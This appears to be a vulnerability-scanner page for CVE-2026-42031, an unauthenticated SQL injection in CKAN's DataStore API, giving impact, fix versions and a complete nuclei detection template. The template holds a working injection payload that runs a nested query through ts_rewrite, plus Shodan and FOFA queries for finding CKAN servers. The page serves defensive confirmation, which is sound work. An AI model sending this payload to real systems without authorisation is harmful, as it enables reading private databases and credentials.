CKAN DataStore SQL Search - SQL Injection

highseverity

9.8CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.

Impact

An unauthenticated attacker can read arbitrary data from the PostgreSQL database including system catalog tables, private DataStore resources, and potentially user credentials.

Fix

Upgrade CKAN to version 2.10.10 or 2.11.5 or later.

How to confirm it

Send: GET {{BaseURL}}/api/action/status_show
Positive when: contains "ckan_version" and "\"success\": true" AND status 200
Send: GET {{BaseURL}}/api/action/datastore_search_sql?sql=SELECT+ts_rewrite('a'::tsquery,+'SELECT+''a''::tsquery,+(SELECT+current_database())::tsquery')
Positive when: contains "\"success\": true" and "ts_rewrite" and "records" AND status 200

Run it with nuclei: nuclei -id CVE-2026-42031 -u <target>

The full check

id: CVE-2026-42031

info:
  name: CKAN DataStore SQL Search - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.
  impact: |
    An unauthenticated attacker can read arbitrary data from the PostgreSQL database including system catalog tables, private DataStore resources, and potentially user credentials.
  remediation: |
    Upgrade CKAN to version 2.10.10 or 2.11.5 or later.
  reference:
    - https://github.com/advisories/GHSA-h7j7-3rx6-xvcg
    - https://github.com/ckan/ckan/security/advisories/GHSA-h7j7-3rx6-xvcg
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42031
    epss-score: 0.01817
    epss-percentile: 0.78875
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"CKAN"
    fofa-query: title="CKAN"
  tags: cve,cve2026,ckan,sqli,datastore,unauth,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/action/status_show"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ckan_version"
          - '"success": true'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/action/datastore_search_sql?sql=SELECT+ts_rewrite('a'::tsquery,+'SELECT+''a''::tsquery,+(SELECT+current_database())::tsquery')"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"success": true'
          - "ts_rewrite"
          - "records"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from